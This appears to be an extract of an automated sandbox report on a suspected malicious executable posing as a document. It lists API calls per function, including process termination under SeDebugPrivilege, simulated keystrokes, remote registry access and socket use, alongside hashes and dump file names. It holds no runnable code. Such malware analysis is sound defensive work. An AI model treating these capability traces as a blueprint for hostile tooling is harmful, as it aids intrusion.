ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 0078EA3D
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 0078EA64
DestroyCursor.USER32(00000000), ref: 0078EA6F
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 0078EA8C
DestroyCursor.USER32(00000000), ref: 0078EA97

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: CursorDestroyExtractIconImageLoadMessageSend
String ID:
API String ID: 3992029641-0
Opcode ID: f338572bca5faea81d9f3b68c506ca72f1343876c92a0c9aefed071b47b1601f
Instruction ID: 441f6b5addb253a1bfb81facf2e762292dffab754df6a3c2c6690886f0cb8b48
Opcode Fuzzy Hash: f338572bca5faea81d9f3b68c506ca72f1343876c92a0c9aefed071b47b1601f
Instruction Fuzzy Hash: D851A970600204FFDB24DF69DC85FAA77B5BB08750F108629F94697290D7B8EC90DB52

Function 0072F6B5 Relevance: 13.6, APIs: 9, Instructions: 135COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,000000FF,00000000,00000000,00000000,?,0078E9A0,00000004,00000000,00000000), ref: 0072F737
ShowWindow.USER32(00000000,00000000,00000000,00000000,00000000,?,0078E9A0,00000004,00000000,00000000), ref: 0072F77E
ShowWindow.USER32(00000000,00000006,00000000,00000000,00000000,?,0078E9A0,00000004,00000000,00000000), ref: 0078EB55
ShowWindow.USER32(00000000,000000FF,00000000,00000000,00000000,?,0078E9A0,00000004,00000000,00000000), ref: 0078EBC1

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: b70a5791e612cd7e9f052b08fff125a096e2bb75d3ede4ca3fd04d218fb12917
Instruction ID: 18d74ef9319198916e14efcbd397ce9fa24353d13481003c41ff9c05df536581
Opcode Fuzzy Hash: b70a5791e612cd7e9f052b08fff125a096e2bb75d3ede4ca3fd04d218fb12917
Instruction Fuzzy Hash: 44412871204690EBEB355738ACC8B7A7FB5AB45311FA8483EE48B82761C77CE881D715

Function 0074CDE6 Relevance: 13.6, APIs: 9, Instructions: 65sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0074E138: GetWindowThreadProcessId.USER32(?,00000000), ref: 0074E158
Part of subcall function 0074E138: GetCurrentThreadId.KERNEL32 ref: 0074E15F
Part of subcall function 0074E138: AttachThreadInput.USER32(00000000,?,0074CDFB,?,00000001), ref: 0074E166

MapVirtualKeyW.USER32(00000025,00000000), ref: 0074CE06
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 0074CE23
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 0074CE26
MapVirtualKeyW.USER32(00000025,00000000), ref: 0074CE2F
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 0074CE4D
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 0074CE50
MapVirtualKeyW.USER32(00000025,00000000), ref: 0074CE59
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 0074CE70
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 0074CE73

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 55f902d4e2163d80a556bcbb6214771211cb5780e39eacbd4200a7b7895aca43
Instruction ID: 63a0a9d167240e464b192c9426fcb7fc6302cc6381c411e7f942a014c85d6bf5
Opcode Fuzzy Hash: 55f902d4e2163d80a556bcbb6214771211cb5780e39eacbd4200a7b7895aca43
Instruction Fuzzy Hash: 9811C8B255061CBFF7216F648C8EF5E7A2DDB48794F510416F3406B1E0CAF65C419AA8

Function 0076C604 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 232COMMON

Download Yara Rule

APIs

Part of subcall function 0074A857: CLSIDFromProgID.COMBASE ref: 0074A874
Part of subcall function 0074A857: ProgIDFromCLSID.COMBASE(?,00000000), ref: 0074A88F
Part of subcall function 0074A857: lstrcmpiW.KERNEL32(?,00000000), ref: 0074A89D
Part of subcall function 0074A857: CoTaskMemFree.COMBASE(00000000), ref: 0074A8AD

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000), ref: 0076C6AD
_memset.LIBCMT ref: 0076C6BA
_memset.LIBCMT ref: 0076C7D8
CoCreateInstanceEx.COMBASE(?,00000000,00000015,?,00000001,00000001), ref: 0076C804
CoTaskMemFree.COMBASE(?), ref: 0076C80F

Strings

NULL Pointer assignment, xrefs: 0076C85D

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
String ID: NULL Pointer assignment
API String ID: 1300414916-2785691316
Opcode ID: 5b81e0cb01a2866172d75f2ba0ba75c730da7df88bcb648d794d8ba68985f99b
Instruction ID: 51f9e8511fcd972e2858bbc45fc2ad1c377d7c0ded4bc4265f55eef5d1f5f1a0
Opcode Fuzzy Hash: 5b81e0cb01a2866172d75f2ba0ba75c730da7df88bcb648d794d8ba68985f99b
Instruction Fuzzy Hash: 97913971D00219EBDB21DFA4DC85EEEBBB8AF08710F10416AF915A7281DB749A45CFA0

Function 00771AD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 163processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00771B09
Process32FirstW.KERNEL32(00000000,?), ref: 00771B17
__wsplitpath.LIBCMT ref: 00771B45

Part of subcall function 0073297D: __wsplitpath_helper.LIBCMT ref: 007329BD

_wcscat.LIBCMT ref: 00771B5A
Process32NextW.KERNEL32(00000000,?), ref: 00771BD0
CloseHandle.KERNEL32(00000000,?,?,00000002,00000000), ref: 00771BE2

Strings

hE|, xrefs: 00771AED

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wsplitpath__wsplitpath_helper_wcscat
String ID: hE|
API String ID: 1380811348-1832437213
Opcode ID: 52586e077d17d380ebc30da96bf566b1935a7349bffdd1bd8a024d2bd1b8c3d3
Instruction ID: 84cb9996593b565bb380f3b1dac7ce7e8a09586e18bc58afc38646743cc5248c
Opcode Fuzzy Hash: 52586e077d17d380ebc30da96bf566b1935a7349bffdd1bd8a024d2bd1b8c3d3
Instruction Fuzzy Hash: F6518171504300DFD720EF24D889EABB7E8EF88754F40491EF58997291EB34EA45CBA2

Function 00779882 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 142windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00779926
SendMessageW.USER32(?,00001036,00000000,?), ref: 0077993A
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00779954
_wcscat.LIBCMT ref: 007799AF
SendMessageW.USER32(?,00001057,00000000,?), ref: 007799C6
SendMessageW.USER32(?,00001061,?,0000000F), ref: 007799F4

Strings

SysListView32, xrefs: 007798F8

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: b7955d44d7daba8a8acb3da193706f3a7888c500d78b36438376ea2783cfab42
Instruction ID: 34cec4ad27db4d211bbc434baad4b37770c13b3a409e82186dfd0da844e22381
Opcode Fuzzy Hash: b7955d44d7daba8a8acb3da193706f3a7888c500d78b36438376ea2783cfab42
Instruction Fuzzy Hash: 3E41B571900308EFEF219F64C885FEE77B8EF49390F10852AF649A7291D6799D84CB64

Function 00771620 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

Part of subcall function 00756F5B: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 00756F7D
Part of subcall function 00756F5B: Process32FirstW.KERNEL32(00000000,0000022C), ref: 00756F8D
Part of subcall function 00756F5B: CloseHandle.KERNEL32(00000000,?,00000000), ref: 00757022

OpenProcess.KERNEL32(00000001,00000000,?), ref: 0077168B
GetLastError.KERNEL32 ref: 0077169E
OpenProcess.KERNEL32(00000001,00000000,?), ref: 007716CA
TerminateProcess.KERNEL32(00000000,00000000), ref: 00771746
GetLastError.KERNEL32(00000000), ref: 00771751
CloseHandle.KERNEL32(00000000), ref: 00771786

Strings

SeDebugPrivilege, xrefs: 007716A9

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: ba3c96c40538c111f72918ff38313d8b7edae4cc2d9153ec1fcd42f151ecb698
Instruction ID: 26df0b7961169f9c3febc3b4321e2286a8df0a81904f5bf3bba7c900f83e9905
Opcode Fuzzy Hash: ba3c96c40538c111f72918ff38313d8b7edae4cc2d9153ec1fcd42f151ecb698
Instruction Fuzzy Hash: 4341AC75600201EFDB18EF68C8A9FAD77A5AF48741F04C049F90A9F292DBB8DD45CB81

Function 00756237 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 007562D6

Strings

question, xrefs: 0075628F
stop, xrefs: 007562A7
info, xrefs: 00756277
blank, xrefs: 00756258
warning, xrefs: 007562BF

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 1fae9f958bedb32ccf94e30a8b91ff8826e270435746b789b7939a43f297f735
Instruction ID: 8a9fcb677f445efdba4eaf8298270dafe635ed470b355c68cf594b16c2e60237
Opcode Fuzzy Hash: 1fae9f958bedb32ccf94e30a8b91ff8826e270435746b789b7939a43f297f735
Instruction Fuzzy Hash: 3311D0B6208342BBE7055754DC47EEAB39CBF15725F50002EFD41B7282E7EC6D454165

Function 0075757B Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000066,?,00000100,00000000), ref: 00757595
LoadStringW.USER32(00000000), ref: 0075759C
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 007575B2
LoadStringW.USER32(00000000), ref: 007575B9
_wprintf.LIBCMT ref: 007575DF
MessageBoxW.USER32(00000000,?,?,00011010), ref: 007575FD

Strings

%s (%d) : ==> %s: %s %s, xrefs: 007575DA

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: 0e5563524da500100ff23da4de2bdecaf9d1f8ff980e5fc884a1ae573236f78f
Instruction ID: b7770825ca7811f0442659b64082a8db91eaef34c1122896c72c02939c9ee168
Opcode Fuzzy Hash: 0e5563524da500100ff23da4de2bdecaf9d1f8ff980e5fc884a1ae573236f78f
Instruction Fuzzy Hash: C10136F3540208BFE721A7D4ED8DEE7776CD708301F404496B746D2041EA789E858B75

Function 00772A0A Relevance: 12.3, APIs: 8, Instructions: 251registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0071CAEE: _memmove.LIBCMT ref: 0071CB2F

Part of subcall function 00773AF7: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00772AA6,?,?), ref: 00773B0E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00772AE7

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: BuffCharConnectRegistryUpper_memmove
String ID:
API String ID: 3479070676-0
Opcode ID: bf9035e0debbf2363c9a1f2b27b90983ba354b2d3095394003e63d2354033735
Instruction ID: 99129f7289431e4d9b43b76d111f8fa4a4147136ca0a9d5cffec865f588636b0
Opcode Fuzzy Hash: bf9035e0debbf2363c9a1f2b27b90983ba354b2d3095394003e63d2354033735
Instruction Fuzzy Hash: C2916A71204201EFCB11EF14C895A6EB7E5FF98350F14881DF99A972A2DB38ED46CB52

Function 00769AC3 Relevance: 12.2, APIs: 8, Instructions: 220networkCOMMON

Download Yara Rule

APIs

select.WS2_32 ref: 00769B38
WSAGetLastError.WS2_32(00000000), ref: 00769B45
__WSAFDIsSet.WS2_32(00000000,?), ref: 00769B6F
WSAGetLastError.WS2_32(00000000), ref: 00769B9F
inet_ntoa.WS2_32(?), ref: 00769C0C
htons.WS2_32(?), ref: 00769C51
_memmove.LIBCMT ref: 00769D10

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ErrorLast$_memmovehtonsinet_ntoaselect
String ID:
API String ID: 1718709218-0
Opcode ID: a455c82552ef0a28120d43405d3c330c44e34d30ebdcb6c14ac3c17f652b5d30
Instruction ID: 5b6017469870ec6333627b81e5e136036f8e9af6986672a92b5befadb83262b0
Opcode Fuzzy Hash: a455c82552ef0a28120d43405d3c330c44e34d30ebdcb6c14ac3c17f652b5d30
Instruction Fuzzy Hash: 0F71A171504200EBC714EF64DC49EABB7E8EB88720F10451DF95697291DB78DD45CBA2

Function 0073B72C Relevance: 12.1, APIs: 8, Instructions: 118COMMONLIBRARYCODE

Download Yara Rule

APIs

__mtinitlocknum.LIBCMT ref: 0073B744

Part of subcall function 00738A0C: __FF_MSGBANNER.LIBCMT ref: 00738A21
Part of subcall function 00738A0C: __NMSG_WRITE.LIBCMT ref: 00738A28
Part of subcall function 00738A0C: __malloc_crt.LIBCMT ref: 00738A48

__lock.LIBCMT ref: 0073B757
__lock.LIBCMT ref: 0073B7A3
InitializeCriticalSectionAndSpinCount.KERNEL32(8000000C,00000FA0,007C6948,00000018,00746C2B,?,00000000,00000109), ref: 0073B7BF
RtlEnterCriticalSection.NTDLL(8000000C), ref: 0073B7DC
RtlLeaveCriticalSection.NTDLL(8000000C), ref: 0073B7EC

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: CriticalSection$__lock$CountEnterInitializeLeaveSpin__malloc_crt__mtinitlocknum
String ID:
API String ID: 1422805418-0
Opcode ID: 65922d76671d6838e6f5764c75bdfe52a49b86dcbcdc16e77ef7ccd52e902012
Instruction ID: 4a9fae5648cbc6099b14982eac5a017e4d61860283eed930e1396bdb3997a423
Opcode Fuzzy Hash: 65922d76671d6838e6f5764c75bdfe52a49b86dcbcdc16e77ef7ccd52e902012
Instruction Fuzzy Hash: 144105B1E01215DBFB10DF68D8453ACB7B4AF41325F10821AE625AB2D3D77CA901CBD5

Function 0075A1B7 Relevance: 12.1, APIs: 8, Instructions: 100fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 0075A1CE

Part of subcall function 0073010A: std::exception::exception.LIBCMT ref: 0073013E
Part of subcall function 0073010A: __CxxThrowException@8.LIBCMT ref: 00730153

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 0075A205
RtlEnterCriticalSection.NTDLL(?), ref: 0075A221
_memmove.LIBCMT ref: 0075A26F
_memmove.LIBCMT ref: 0075A28C
RtlLeaveCriticalSection.NTDLL(?), ref: 0075A29B
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 0075A2B0
InterlockedExchange.KERNEL32(?,000001F6), ref: 0075A2CF

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: 492779737747feb0738283581697d50a4cb28d09d4fba42d519be527bf59304c
Instruction ID: 02d844087d42bd26a5df162fcc6a26a3a6ce7e8bdb51911c83f21a2d15ac3330
Opcode Fuzzy Hash: 492779737747feb0738283581697d50a4cb28d09d4fba42d519be527bf59304c
Instruction Fuzzy Hash: 2531A131900205EBDB10DFA4DC8AAAEB7B8FF85710F1480B5F904AB256D778DD15CBA5

Function 00778CDB Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00778CF3
GetDC.USER32(00000000), ref: 00778CFB
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00778D06
ReleaseDC.USER32(00000000,00000000), ref: 00778D12
CreateFontW.GDI32(?,00000000,00000000,00000000,00000000,?,?,?,00000001,00000004,00000000,?,00000000,?), ref: 00778D4E
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00778D5F
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,0077BB29,?,?,000000FF,00000000,?,000000FF,?), ref: 00778D99
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00778DB9

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: ef445d8a03508ffb629bf1914809047dc82ae1abb11d4846bf7656eeaa7e6df0
Instruction ID: 2d1e8a31b239a82f16f59b497bc37bf6aaee360d7f677162a05d2c50c635784d
Opcode Fuzzy Hash: ef445d8a03508ffb629bf1914809047dc82ae1abb11d4846bf7656eeaa7e6df0
